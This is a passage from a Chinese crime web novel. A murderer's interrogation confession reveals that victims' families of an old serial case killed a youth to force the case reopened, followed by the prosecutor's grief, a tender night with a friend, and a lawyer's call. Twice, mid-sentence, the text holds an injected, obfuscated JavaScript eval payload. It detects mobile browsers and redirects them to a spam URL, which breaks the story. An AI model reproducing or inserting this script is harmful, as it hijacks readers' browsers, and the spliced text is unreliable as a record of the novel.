直到坐到审讯室的椅子上,程时新心里依旧没有什么实感——他和卢江峰相识多年,一开始,二人只是因为卢川的案子才会产生交集,但由于3.18案的战线拖得很长,频繁的接触下,两人产生了友谊,友情一直延续至今。李长乐案发前的半个月,他们俩还一块搓了次麻将。 他怎么也想不到,这桩案子的真凶竟会是卢江峰。在他的心目中,卢江峰温和、儒雅、彬彬有礼,怎么看都和杀人犯这三个字不沾边。但他现在又的的确确地变成了一个杀人犯。天啊,真讽刺,案发以后,卢江峰几乎天天往警察局跑,他该夸赞他的心理素质好吗?还是该说“人不可貌相”呢?或是说“知人知面不知心”呢? 程时新不动声色地吸了口气,抬眼看向坐在对面的卢江峰,开门见山:“十二月四日凌晨两点到六点,你在哪?” 卢江峰眼神平静:“我在晋安镇孔鹏和吴莉莉的家里。” “你为什么去那?” “杀人。” “李长乐是你——是你们杀的?” “对。” “是你们三个合谋?还是还有别人参与?” “飞剑妈妈曹丽梅也参与了,蒋缙蒋大爷对这件事也知情。” “……为什么?你们的犯罪动机是什么?” 卢江峰垂着眼盯着自己的手指,没有立刻说话。 程时新的拇指一下一下地、狠狠地掐着手指的指节,在等待了近半分钟后,他实在按捺不住,猛地站起身:“你说啊!你说啊!为什么!你的动机是什么!你摆出这副样子做什么!哑巴还能崩出几个响屁呢!你有没有想过,那个孩子也有自己的父母、也有自己的亲人!我以为你是最能明白那种痛苦的……” 卢江峰打断他道:“我知道。我罪不可赦,我没什么可争辩的,我认罪。我——我们,都知道这件事是错事,伤天害理,但还是做了。至于为什么……你们警方应该也有些猜测吧。我们就是想让3.18案重见天日。” 程时新不断摇着头:“你太偏激了。你太不可理喻了。你疯了。” 卢江峰笑了一下,仰头看向程时新:“我疯了?可能吧。我老婆十八年前就疯了!她原来是多温柔、多聪慧、多漂亮的一个人啊,但你知道吗,在我没把她送进精神病院之前,她会打人,会在大半夜光着脚出门裸奔,不会控制自己的屎尿……有无数次,我想亲手杀了她,毕竟以我对她的了解,这么活着对于她来说比死了还难受。” 卢江峰脸上的笑意消失了,他冷冷道:“但我没有。杀小川的凶手找不到,他还没死,我们这些苦主却先一步死了……我不甘心。所以尽管这十几年里,我每天都活得非常非常痛苦,非常非常绝望,非常非常压抑,非常非常想要从这个世界逃跑……我都忍了。我想让那个畜生先死,”卢江峰咬牙切齿地说着:“可我等啊,等啊,十八年过去了。还是没等到凶手被绳之以法的那一天。” “现在,我去网上搜有关这个案子的信息,只能搜到网友的分析帖,其中有很多帖子里面充满了对我儿子的恶意揣测……有人说他只是成绩好,实际上是个校霸,在学校曾多次欺凌同学;有人说,我是某某医院的院长,我老婆是国企老总的千金,他家境好,仗势欺人;还有人说他是个同性恋,被人包养,长期和别的男人保持着不正当关系……” 卢江峰又大笑起来:“好滑稽啊。程局。好滑稽!当年你也是办过小川的案子的,小川是个多好的孩子,你应该清楚!他从来没有霸凌过别人,他最是个好性子的孩子,同学有不会解的题,只要找他讲他一定会讲,他的笔记,可以全班级的传阅。他从来没有因为成绩好而自满或是瞧不起别人,班级里的集体活动,他从不缺席,他还会用自己的奖学金请全班同学吃冰棍……他心地善良性格温和,高中三年没和同学吵过一次架,红过一次脸。你们去调查的时候,全班没一个人说他的不是……他是个好孩子,程局你也是知道的呀!” 程时新什么话都说不出来。 “至于什么同性恋,更是无稽之谈!小川有女朋友的。我们和那女孩的父母都知道。” “但是,无论我在网上争辩了多少次,把多少个账号举报成功,永远是这些猎奇的谣言更吸引人的眼球。” “无论我自我开解多少次,我心中始终恨意难消。我的儿子骨枯黄土,罪魁祸首却还在这世上逍遥自在……每每想到此,我的内心……就像是我小川的尸体一样,被剁成了上百块。小川的案子,我不想就这么算了。” 程时新几乎是一个字一个字地往外挤:“我知道这些年你不容易,我能理解你……” 卢江峰挑起眉,轻声道:“理解?不,程局,你不理解。你想象我们的感受、想象我们的处境,你觉得你的想象已经很完美了,很贴切了,于是你觉得你理解了。但你的儿子有被剁成一百块,被扔到垃圾场吗?你的妻子疯了吗?你的家庭支离破碎了吗?你等过,完全看不见天日的十八年吗?心脏只要被捅一刀,人就会死。但我、我们的心,每时每刻都在被捅刀子,但我们还活着。这样的人生,你真的想象得出来吗?你理解得了吗?” “所以呢?你们自己生活艰难,就可以杀人了吗?!” 卢江峰摇了摇头:“程局,我讲这些,不是为了博你的同情,更不是想洗刷我自己的罪行。我不是在为我自己辩解。只是你问了犯罪动机,我答了而已。” 程时新感觉自己像是一拳打在了棉花上,他的愤怒一时间也像是个被戳破了的皮球,泄了一大半。一时间,他心里只剩下无力。 卢江峰不疾不徐地继续往下说:“你们警方当年确实用了不少力气查这个案子,你们的用心,我看在眼 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卢江峰的目光有些涣散:“等我们死了,总要有人,像我们一样……一直想着这个案子吧?我甚至不奢望看见抓到凶手的那一天了。我就是想,有人能像我们一样,坚持给小川……给孩子们讨公道。但除了像我们一样的被害者家属,谁还会一直对这个案子牵肠挂肚呢?” 程时新闭上眼睛:“所以,你才想再……‘制造’出一个,像你们一样的家属吗?” “是。” “为什么选李长乐?因为他和沈检……沈灵均不同寻常的关系吗?” 卢江峰轻轻点点头:“对。丽梅近十年来主要靠做家政、做月嫂谋生。她已经成了他们公司的金牌家政了。她考了好多证,用心照顾孩子、对待雇主,尽职尽责。她最喜欢做有孩子的家庭的住家保姆……如果飞剑还活着,也到了成家立业、娶妻生子的年纪了。” “想再杀一个孩子的想法,已经在我心里埋藏很多年了。大半年前,丽梅新找了一个东家……就是沈检的表妹,孙一涵家。她从孙小姐嘴里听说了沈检和长乐的事,又把这些事转述给了我。听完他的话,我就觉得……目标出现了。” “沈检为人正直,心地善良,长乐虽然不是他的孩子,但是他待他很好,对他抱有很强的责任感。我相信,如果长乐死了,他一定会锲而不舍地追查真凶的。就算我们被抓了,我觉得以他的性格,也未必会到此为止……毕竟万事有因有果,”卢江峰的语气越来越缥缈,“要不是那个凶手还没抓到,我们怎么可能会去杀人?我们不是他那种……把杀人当乐趣的人。真的不是。” “他还是个检察官……这个职业也很好。尤其是……他还很有钱。是会住在我们医院VIP套房的那种人,是可以把我们医院的主任当私人医生的那种人。这样的人,可比我们这些小老百姓有能量多啦。他怎么也能算是个特权阶级吧?”卢江峰脸上露出了满意的神情:“由他来扮演‘家属’的角色,再好不过了。” 67.第 67 章 程时新沉默了好一会,才继续问:“说说你们合谋的过程和实施犯罪的过程吧。” “模仿3.18案的凶手再杀一个人的想法,并不是只有我一个人有。好些年前,我就听蒋大爷念叨过,他觉得,警方之所以不再继续查案,是因为凶手自从08年后就没有再作案了,所以你们警方慢慢也就不重视这个案子了。” “我心里清楚,光靠我一个人是没办法杀掉李长乐的?所以在选中他作为目标之后,我就去拜访了蒋大爷和孔鹏夫妻。在我的劝说下,孔鹏夫妻答应入伙。我们自大半年前起开始跟踪李长乐。在跟踪他一段时间后,我们发现他和方滢之间的关系很亲密。多番打听之后,我们知道了方滢的家庭情况——父亲是个身材瘦小的聋哑人,母亲是个盲人,一家三口都是没什么自保能力的弱势群体。” “所以我们确定了利用方滢的身份把李长乐骗出来的计划。孔鹏是残疾人,实际能实施杀人计划的人只有我和吴莉莉,李长乐虽然身材瘦,但是毕竟年轻力壮,我和吴莉莉两个是年纪加在一起超过一百二十岁的人,就算是偷袭,我们也没把握一定能拿下他。而且,他平日里活动的范围都在市中心,附近人来人往,摄像头众多,我们很难找到下手的地方。” “借用熟人的身份把他骗到偏僻的地区,是最好的选择。方滢一家的情况也适合我们下手。但我还是有些不放心,决定再拉一个人入伙……我最终选择了丽梅。其他人中,济同的父母已经不在容州生活了,高恒的父母后来又生了对双胞胎……”卢江峰嗤笑一声:“已经把惨死的长子忘得干干净净了。邵恒的父母离婚了,父亲再婚有了新的生活,母亲性格孤拐,不与我们来往。广平的父母性格老实懦弱,胆小怕事,也不是合适的伙伴。他们这些人对3.18案的执念都不深……” 程时新忍不住讥讽道:“去你的吧。他们只是有自己的道德底线,不像你。” 卢江峰挑了挑眉,并不生气:“随你怎么说吧,程局。我只是在说我的想法。我也知道我很偏激,不偏激的人做不出杀人的事。” 卢江峰继续说道:“丽梅加入之后,我们就着手开始准备作案了。时代变了,要想像3.18案那个畜生一样,不留痕迹地作案是很难的,尤其是我们还要把方滢一家绑走……思来想去,我让孔鹏和吴莉莉去晋安镇租了房子,又包了块地养鸡。他们做养殖的,本来就经常会开车去乡镇收土鸡土猪来卖,他们的车就算频繁出现在村里不奇怪,出现在监控里也不会惹人怀疑。” “孔鹏和吴莉莉去方滢家收了几次鸡,取得了方虎夫妻俩的信任。这让我们在绑架他们的时候没费什么力气。我是医院的麻醉科主任,还是副院长,所以很容易就能搞到七(药)氟(品)烷。几个月前,医院里正好有一批快到使用年限的麻醉机要做报废处理,我想方设法扣下来了一台,运到了孔鹏夫妻家。” “之后,我们又跟踪了李长乐很长一段时间,反复踩点,演练了好几次作案过程。二号那天,天气预报说明天可能刮台风,我们就决定,如果真的下雨了,就动手。第二天果然下雨了……老天爷替我们做了决定。我们就在那天动手了。晚上八点多,我、莉莉、丽梅三个人去了方滢家,借口说被雨困在了路上,想找个地方歇一宿。因为之前有过很多次接触,方虎他们没设防,我们就用□□击晕了他们一家,用车运走了。” “接着,我用方滢的手机给李长乐发了消息,把他骗到了县医院。之后,孔鹏在家逼方滢给李长乐打了电话,将李长乐骗到了县医院附近一条窄小、没有监控的小巷子里,我打晕了他。之后,我们在莉莉家楼下的车库里杀了他,并完成了分尸。再之后,就是抛尸,镇医院附近只有大路的路口才有摄像头,为了减少车子在摄像头里出现的频率,尽量延缓我们被怀疑的时间,我们没有用莉莉家的车往外运尸体。” “我们三个分几次,换穿不同的衣服,背着尸块走出了几公里,然后用我租来的车运尸,快到抛尸地点的时候再把交通工具从车切换成腿,人力运过去,尽最大可能躲避监控。” “差不多……就这些吧。” 程时新没有立刻说话。一时间,审讯室里只剩下瞿春光哒哒的敲键盘声。良久,看瞿春光终于停下手,程时新问道:“为什么要给李长乐用麻醉?3.18案的凶手没有用这种手法吧?你们不是想要尽可能模仿3.18案的手法吗?为什么要留下这么大的漏洞?” 卢江峰两只手搭在一起,十根手指互相摩擦着:“我们不想让他……像我们的孩子一样,痛苦的死去。” 程时新冷笑一声:“虚伪。假惺惺!” 卢江峰微微耸肩:“那程局,什么样的答案,会让你觉得不‘虚伪’,不‘假惺惺’呢。你想骂我,直接骂就可以了。” “——哈!”程时新双手抱在胸前,“你一点忏悔之意都没有。你对受害者一点愧疚之情都没有!” 卢江峰面无表情地看着他:“程局,这话我要反驳你。我对受害者很歉疚,我愿意把我的所有财产赔偿给被害人家属——啊,不对,按照丽梅所说的情况,应该说,我愿意把我所有的财产都无偿赠与给沈检。我对长乐,”卢江峰顿了顿,“真的很抱歉……他死后是要去极乐世界的,我死后会下地狱。但我不忏悔。我不后悔。我杀他是为了达成我的目的,而现在我的目的确实达成了,我高兴还来不及,这么会有忏悔之意呢?” “你们能这么快找到我,我其实很开心。在我的预计里,你们至少需要半个月才会找到我,”说着,卢江峰脸上竟现出些热切,“你们是怎么找到我们的?我觉得我已经计划得很周全了,就算被你们发现我用了七(药)氟(品)烷,应该也不会这么快被找到的呀!” 卢江峰自说自话着:“技术进步了,果然技术进步了。是啊,十几年,技术怎么可能会不进步呢?哈哈,小川的案子有希望了,有希望了,”卢江峰的表情开始变得有些癫狂:“能找到了,能找到了,哈哈……” 卢江峰笑了一会,竟哭了,他用手去擦眼泪,但嘴还是往两边咧着,一时间,脸上的表情说不出的古怪,还有些瘆人。 监控室的薛青霜小声同身旁的邓宇星道:“邓哥……他精神会不会有点问题?但他这么聪明,有没有可能是装的?” 邓宇星还未答话,乔瑜就走进了监控室,道:“邓队,陆哥他们把曹丽梅带回来了……曹丽梅的雇主夫妻俩也跟着来了,然后,沈检,他当时也在那,也一块来了。现在等在外面。是不是也得给这对夫妻安排人做笔录?” “那就我和青霜去吧。” 邓宇星和薛青霜赶到接待室的时候,沈灵均的表妹孙一涵正红着眼眶,在接待室里不断地走圈。看到二人,她一个大跨步迈到两人身前,一脸的急切:“警察同志,是不是有什么地方搞错了?曹阿姨和长乐的死没有关系……” 邓宇星没有直接回答她这个问题:“孙小姐,你先坐,我们正好有些事想问你。” 孙一涵的丈夫周航把她揽在怀里,低声道:“我们听警察的,你先别慌。” 等孙一涵坐定,邓宇星问道:“十二月三日、十二月四日,曹丽梅在哪,你知道吗?她当时照常在你们家干活吗?” 孙一涵嘴唇动了两下,才缓缓道:“没有……这两天她,她请假了。说是……说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133006|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是儿子从国外回来了。” “儿子从国外回来了?曹丽梅是怎么跟你说他儿子的事的。” “她,”孙一涵的眼泪不受她控制地往外涌:“她跟我说她儿子是名牌大学毕业,大学毕业后出国留学,然后就定居在国外了。我……我之前问她要过她儿子的照片,她给我看的照片全是孩子高中时拍的照片,那时我还问她,怎么都是些高中的照片呢。她就说她儿子不爱拍照片,我也没想那么多,我……” 孙一涵说到这,大哭起来,她拉住一旁沈灵均的袖子,哭道:“哥,我不知道,我真不知道啊,我不知道她是3.18案被害人的妈妈,我也不是故意把你和长乐的事往外说的!我真的不知道!我是不是把长乐害死了,我真的不是有意的……” 沈灵均握住她的手,轻声安慰道:“说什么呢?别胡思乱想。谁能想到会出这种事?” 沈灵均看向邓宇星:“邓队,曹丽梅不可能一个人把长乐杀了吧?她是不是有其他同案犯?我之前在晋安镇镇医院附近见到了3.18案第三位被害人李令杰的母亲吴莉莉,她对我的态度很奇怪……其他同案犯也是3.18案的家属吗?” 邓宇星没想到还有这么一茬:“根据我们现在掌握的情况,是的。” “其他同案犯也都到案了吗?” 邓宇星不敢把话说死:“……应该是的。” “那,他们犯罪的动机、他们选择长乐作为目标的原因,审出来了吗?” 想到他刚才在监控室听到的那些话,看着沈灵均的脸,邓宇星实在觉得难以启齿,他支支吾吾了一会,说:“那个,这样吧,我……一会审讯结束之后,我把纸质笔录拿过来给沈检你看。” 沈灵均点点头,从衣兜里拿出一包面巾纸塞进孙一涵手里。 过了一会,因为卢江峰的情绪变得开始不太稳定,针对他的审讯暂时告一段落。邓宇星将打印好的纸质笔录递给沈灵均,努力找补道:“嗐,沈检,你也是干这行的,这犯罪分子进来之后的第一次审讯,基本上没几句真话的,尽是胡咧咧……” 邓宇星越说声音越小,最后自己给自己消音了。 绝大多数犯罪分子在第一次审讯时都不会百分百的说真话,但做警察这么多年,邓宇星有自己的办案直觉——卢江峰的口供,真实性非常高。 一时间,接待室里只剩下孙一涵啜泣的声音和沈灵均翻动笔录的声音。 良久——远超一个正常人阅读这些文字的时间,邓宇星终于忍不住开口道:“沈检,你……你还好吗?” 沈灵均抬起头看向他,神色如常:“还好。但我……觉得有点好笑。” 邓宇星微微瞪大眼睛:“什么好笑?” “这位卢先生对我的评价——‘为人正直,心地善良’‘责任感强’,全都是好词。他甚至还考虑到了我的职业。我在想,他有没有想过,他直接来找我,或是通过曹丽梅找我,把他们的处境跟我说,我或许就可以帮助他们。毕竟,检察院是个监督部门,监督是检察官的职责。他们就没想过,只要张张嘴,我或许就会不遗余力地去追查这个案子吗?”笔录被沈灵均的手攥得发出了咯吱咯吱的轻响,“为什么要去舍近求远,费尽力气,还要夺走一个孩子青春的生命呢?该说他们看人准,还是不准呢?” “我觉得我自己也好笑……” 明明心里一直在想,不能自责、不能愧疚,不能让“亲者痛、仇者快”,要让凶手付出代价,但如今却发现,他明知自己已经踩进了凶手的剧本里,却还要按照他们的设想演下去。 原来如果他当年不带长乐来容州,长乐真的不会死。 68.第 68 章 沈灵均三人离开市局时,已是深夜。沈灵均拍了拍孙一涵的肩,轻声安慰道:“别哭了,回去好好休息,实在不行就让周航陪你出去玩玩,散散心,过过二人世界。说者无心听者有意的事,你别想太多了。” 孙一涵点点头,看向沈灵均:“哥,你也是,你也别想太多。” “嗯。” 和孙一涵夫妻分手后,沈灵均看了看时间,打车去了Resonate。 他突然很想见戚玉衡。 他的时间卡得正好,他刚点好酒,戚玉衡就下班了。那个让戚玉衡爆火的短视频已经发布了有一段时间,但Resonate依旧人满为患,戚玉衡这个看板郎受到的关注不减反增,他一下台就有不少人去找他合影。 但和最后一个排队的人合完影,戚玉衡快步走了过来:“沈检,”他看了看沈灵均面前的威士忌,“今天你想喝酒吗?” 沈灵均点头道:“对。” 戚玉衡坐到了他旁边:“那我陪你喝一点。你今天想喝酒……是长乐的事,有什么进展了吗?” 沈灵均微微提起唇角:“嗯。凶手抓到了?” 戚玉衡瞪大眼睛:“抓到了?是谁?怎么抓到的?” 沈灵均把情况原原本本地说了一遍:“……大体上就是这样,但警方的审讯工作才刚刚开始,很多细节问题应该在之后才会问。” “真是太荒谬了,”戚玉衡的眼睛早就红了,他双手紧紧地攥着酒杯,“能推动3.18案进程的方法有那么多,但他们居然选择杀人?长乐的死,只是他们达成目的的手段和工具……他们把人命当成什么了?” 戚玉衡看向沈灵均:“沈检,我……我不知道该怎么劝慰你。有些话,我说了可能也没用,没办法开解到你,但我还是要说。长乐会被杀,不是你的错。长乐会被他们选中,只是巧合,与你无关。长乐是个懂事的孩子,他心里肯定也是这么想。我……我陪你,我们一起把这个坎迈过去。如果你还想继续去查3.18案,我陪你一起查。” 沈灵均喝了口酒:“道理,我心里其实都明白。但就是……做起来难。长乐走之后的这些日子,我常常想起他小时候的样子,瘦瘦小小的一只……”沈灵均用手比划了一下:“第一次见他的时候,他才这么高,比我小腿高不了多少。很可爱,比他现在可爱多了。他是个圆脸嘛,小的时候还有婴儿肥,脸蛋还红红的,特别可爱。” “一百五十万虽然不是笔小数目,但其实实实在在用在他身上的钱不多。给他妈一部分,买房用一部分,又给了他叔叔姑姑不少……爷爷奶奶是花大头,省小头。那些年,他穿的衣服都是地摊货,质量不好,洗几次版型就垮掉了,肥肥大大的,他又是天生的瘦子体质,所以他的衣服基本都不合身。” “后来,他来容州了,但那时,他年纪大了,有自己的主见了……我给他的钱、给他买的东西,他都不愿意收。我其实没让他享多少福。但却间接引来了一遭杀身之祸。那些凶手……” 沈灵均把酒杯里的酒一饮而尽——酒液冰凉、辛辣且苦涩,他感觉自己像是吞了一团烧着的冰。一点也不好喝。酒精刺激着他空空荡荡的胃,并不舒服,但沈灵均却莫名的痛快。 “我看了很多关于3.18案的报道、采访……我知道他们很痛苦。我以为,我们会是‘同病相怜’的人。可没想到,他们就是令我‘患病’的人。长乐的事,即使不是他们做的,我也会努力去查3.18案的,如果他们通过一涵的关系来找我,我也一定会尽我所能帮忙的……” 在和朋友的相处中,沈灵均总是习惯做倾听的那个人。而他也早已习惯将所有的负面情绪自我消化,很少主动向别人倾诉自己的烦恼与苦闷:他自认生活平顺,比之他的朋友,他工作压力不大——最重要的是,他没有经济压力。从少年时期开始,他听到过无数次“你能有什么烦恼”类的句式,于是在与人相处时格外谨慎,生怕自己显得高高在上和无病呻吟。 而在面对与他十分亲密的朋友——特指陈彦博时,他又有另一番考量——陈彦博工作压力大,平均一天遇到一件糟心事,两天遇到一个极品。而陈彦博跟他关系又太铁,此人共情能力还特强,跟他倾诉烦恼,根本就是去点炮仗,容易牵累他也不开心。 但或许是因为长乐这件事给他带来的痛苦实在超过了他自我消化的阈值,也或许是他渴望向来温柔贞静的戚玉衡能做他翻覆心海的定海神针,沈灵均看着戚玉衡的脸,很多话自然而然地脱口而出了。 沈灵均向戚玉衡吐露了他内心的复杂情感:在案情明晰之前,他真切地同情卢江峰等人的遭遇,在案情明晰之后,这种同情转化成了愤怒和失望,虽然他们素不相识,但他却感觉自己好像被背叛了。但3.18案血淋淋的事实横亘在他面前,他亲眼见过长乐的尸体,凶手们当年所体会的震撼与痛苦,他感同身受。他也清楚,在凶手销声匿迹的十几年间,这些被害者家属内心一定非常煎熬。于是,他心中的同情并没有全然地转换,他的内心有一个微小的声音一直在说,所有冤孽的源头都是3.18案的凶手。他为这种想法而羞愧,觉得自己有负于长乐。 他们还聊了很多关于3.18案的事:凶手为什么会在频繁作案一年后突然销声匿迹?是出了意外吗?他得了重病?出了车祸?还是犯事了进了监狱?有没有可能,他已经不在人世了呢?凶手作案前明显都对被害人进行过仔细的调查,前几位被害人被害时,他“雨夜杀人狂”“优等生杀手”的凶名还未传播开来,凶手打听信息也比较容易,但后几位被害人被害时,他早已恶名在外,学校、学生群体、家长群体的警惕性都大大提升,凶手到底是怎么打听到被害人的信息的呢?之后,他又是怎么在警方的大规模盘查中“隐身”的呢? 后来,沉重的话都说尽了,酒也喝了不少,两人之间的话题逐渐轻松起来。 戚玉衡一手撑着下巴,问:“沈检,为什么长乐的叔叔,看上去有点怕你啊?你是怎么治服这种无赖的?” 沈灵均轻笑了一声:“我把长乐接来那一年,他在外面欠了一些钱。说多不多,四万多块,但对于他和他老婆那个捉襟见肘的经济水平来说,也不少了。他借钱的主要原因是因为打牌输了钱,但除掉他输的这些钱,还有差不多一万块钱去向不明。我花了些时间调查他,发现他瞟昌。” 戚玉衡一时间有些无语:“借钱去……瞟昌?” “奇葩吧。他想从我这讨好处,不愿意让我把长乐他们几个接走,我就去找了他的几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151314|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个债主,给了他们一笔钱,让他们天天去他家讨债。他那些债主都不是省油的灯,他被折腾得够呛。之后,在他有一次去找他的相好的时候,我举报了他,让他被拘留了。又给了他相好一些钱,让他那相好天天去找他闹……在他焦头烂额了好一阵后,我主动去找他,说只要他愿意和长乐他们断亲,再也不打扰他们,我就帮他把事平了,如果他继续作妖,那他这辈子也别想过舒坦日子……他就老实了。” “原来如此,”戚玉衡撇撇嘴,不太满意地说:“但是这也让你花了不少钱吧?这种欺软怕硬的无赖,要想治他,简单粗暴地打他几顿应该最有用……虽然这样犯法。真是奇了怪了,长乐和李大哥那么好的人,怎么有这种极品亲戚?” 说完,戚玉衡紧接着又道:“不对……也不算很奇怪,歹竹也能出好笋呢,”戚玉衡笑得有点傻气,他双手放到胸口处:“你看,虽然我爸是个王八蛋,但我……我不是呀,我是个好人的,”说着,戚玉衡又拍了拍胸口:“真的!我最遵纪守法了,我连驾照都还没被扣过分呢!一次都没有!” 看他这模样,他绝对是醉了。沈灵均看着戚玉衡泛红的脸,一时间觉得他有些可爱。他忍不住想:怎么人与人之间差距这么大,陈彦博那个家伙,喝醉的时候跟只发疯的哈士奇一样,令人心力交瘁,恨不得找根绳给他拴上。但戚玉衡醉了,却只叫人心软。 沈灵均朝他比了个大拇指:“你说得对!你好厉害!太厉害了吧,好棒啊!” 知道戚玉衡喝醉了,沈灵均也不打算再喝了,他和戚玉衡道:“我们别喝了。你喝多了,不能骑车回家了。我打车送你回家。” 戚玉衡没有拒绝,颇为乖巧的点点头。 出租车到达戚玉衡家楼下后,沈灵均怕戚玉衡上楼的时候跌倒,于是和他一起下了车,把戚玉衡送上了楼。 “你早点休息。拉你喝了这么多酒,你明早说不定要头痛,不好意思。” 戚玉衡朝他笑:“没事的。不是你拉我喝酒,是我想陪你喝酒。沈检,你回去的路上小心。” 沈灵均点点头,就在他马上要迈下台阶的时候,思及戚玉衡刚才对他的称呼,沈灵均又转回身:“你为什么一直叫我沈检啊?” 戚玉衡愣愣地看着他:“因为,沈检你……就是沈检啊。” “可是,我觉得这个称呼有点太官方、太职业化了,一点也不亲近。以后……你就叫我名字吧。” “叫你名字?” “嗯。” 戚玉衡直勾勾地看着他,缓缓道:“灵、均?” 这两个字,沈灵均从小到大听过无数次,也不知道这一次是哪里特别,他竟忽然觉得耳热。 “……嗯。” 戚玉衡看了他一会,忽然向前一步,张开双臂,紧紧地抱住了他。戚玉衡身体的冲力迫使沈灵均退了一步,右腿落到楼梯台阶上来稳固重心,整个人顿时矮了一截。戚玉衡身上惯有的甜香味与酒味混杂在一起,瞬间侵占了沈灵均整个鼻腔。 沈灵均一时有些恍惚,觉得自己似乎也有些醉了。 他下意识地屏住呼吸,晕乎乎地想:这个动作,戚玉衡清醒时想来不会做,有点危险。 好近啊。他的身体,与他的身体。 69.第 69 章 仔细想想,这好像是他人生中第一次这样与人拥抱——这样面对面、紧紧的拥抱。 戚玉衡带着热意的呼吸打在他颈侧,激起一阵麻痒。 戚玉衡没有抱他太久,他很快就直起身,轻声道:“……希望你永远平安、健康、幸福、快乐。” 沈灵均微微挑起眉:“怎么突然说这些?” “因为我就是这么希望的呀。” 沈灵均轻笑一声:“好。谢谢你。” 走出戚玉衡所住的小区后,沈灵均抬手摸向颈侧——这块皮肤一切如常,但沈灵均却有种戚玉衡呼吸的热度仍残留在这里的错觉。很奇怪。沈灵均感觉内心中有种奇妙的悸动,心率也有些过速——沈灵均下意识地吐出一口长气,试图平复自己的心跳。 喝酒喝多了吗? 不是。是在戚玉衡抱了他之后,才慢慢变得这么快的? 为什么?因为这个拥抱突破社交距离了?他不好意思了? 可他和陈彦博从小一起长大,坦诚相见过不知道多少次,零距离接触不知道多少次,他从没觉得不好意思啊。怎么对象换成了戚玉衡,他却不好意思起来了?是因为他们之间还不够熟悉吗? 沈灵均下意识地否认了这个答案。他不是情场新人,类似的悸动,很久前他也曾体会过。沈灵均心中隐隐有一个猜想——沈灵均回过头,看向戚玉衡住的那栋楼的方向。但现在的他,实在无力也无心去面对、验证这个猜想。 又驻足了几分钟后,沈灵均叫了辆车,离开了。 之后几天,警方那边给沈灵均传了一些消息,说他们搜查了犯罪现场和几位犯罪嫌疑人的家,找到了凶器和麻醉机,也发现了长乐的衣物和随身物品。但因为警方还需要检验和取证,他暂时还不能把长乐的遗物领回去。 周五那天上午,沈灵均的办公室接到一个电话。他们办公室一共两台座机,共用一个号码,一台在余绵绵桌上,一台在沈灵均桌上。打进来的电话一般都是由余绵绵先接,之后视情况转给沈灵均接。 这次也是如此。余绵绵接起来说了两句话,随后捂住听筒,和沈灵均道:“沈哥,刘崇明律师。” 沈灵均有些意外——刘崇明是致和律师事务所的创始人,是容州颇负盛名的老律师,也是有名的人权律师。他参与过很多起颇受社会关注的刑事案件的辩护,除了在实务界很有影响力之外,学术著作也颇丰,是全国刑法学会的顾问,是位能力十分出色的刑事辩护律师。但随着年纪渐长,近两年他已经不在刑辩界的一线活跃,专心著书立说。 他最近办的案子里,也没有这位代理的案子。 沈灵均心里有了个猜测,朝余绵绵点了点头,接起了电话:“……刘律。” 刘崇明语气十分客气:“沈检,您好。我是刘崇明,不知道您还记不记得了?九年前,万玉坡案的时候,我们见过。当时您还是彭宜年彭检察长的检助。” “是,我还记得。” “是这样……昨天,我接受了卢江峰、孔鹏、吴莉莉、曹丽梅的委托,成为了他们的诉讼代理人。我想跟您见面聊聊,他们几位嫌疑人的家属,也想和您见个面,当面给您道歉。您看您方便见个面吗?” “……嗯。” “那您什么时候方便?时间听您安排。” 沈灵均沉默了一会,道:“就今晚吧。” “好好好,那您看我们选在哪里见面合适?” “你们定吧。” 沈灵均和刘崇明在电话里交换了联系方式。差不多半小时后,刘崇明给他发来了一家饭店的地址。那是一家私房菜馆,人均消费不菲。 晚上六点半,沈灵均准时踏入了饭店包厢——包厢里一共有六个人,除了刘崇明外还有三女两男。有一个头发全白、看上去至少有八十岁的老太,大约是哪位嫌疑人的母亲,三个五六十岁的中年人,两男一女,大概率是嫌疑人的兄弟姐妹,还有一个年轻些、三十岁左右的男人,像是嫌疑人的儿子辈。 看到沈灵均进来,所有人都站了起来。他们表情各异,有的悲伤、有的心虚、有的麻木。刘崇明做了个请的手势,把沈灵均往中间的位置引。沈灵均摆摆手,坐在了最边上的位置:“行了,刘律,我不是来吃饭的。这你心里应该也清楚。都坐吧,麻烦刘律给我做个介绍。” 刘崇明连连点头:“是,是,那我就不搞这些虚的了,”刘崇明以自己为中心,从左至右地为沈灵均介绍起来:“这是曹丽梅的姐姐,曹丽艳,这是曹丽梅的侄子,孟成钢,这是吴莉莉的妹妹,吴芳芳,这是孔鹏的大哥,孔昊,这是卢江峰的岳母,苗从筠。” 尽管沈灵均之前说了让所有人都坐,但是在场的人没有一个人主动坐下。沈灵均于是再次道:“都坐下吧,不然说起话来很奇怪。” 刘崇明也道:“都坐吧,都坐吧。” 其余人觑着沈灵均的脸色,慢慢坐了下来。 等所有人都坐下后,刘崇明道:“沈检,今天来,我是代表我的几位当事人,来向您道个歉。之后,我们也想到长乐的爷爷奶奶家登门致歉。但是,我听说爷爷奶奶身体不大好,我想问您,我们……我们方便过去吗?” “暂时别了。让爷爷奶奶先自己消化一下吧。” “好的,好的……沈检,昨天,我联系了长乐的母亲杜女士,杜女士表明,她愿意出谅解书,但据我所知,这些年来,爷爷奶奶、还有您才是长乐的实际监护人。我觉得我的委托人、委托人的家属,都应该对您这边做出赔偿,所以我想跟您谈谈赔偿金的……” 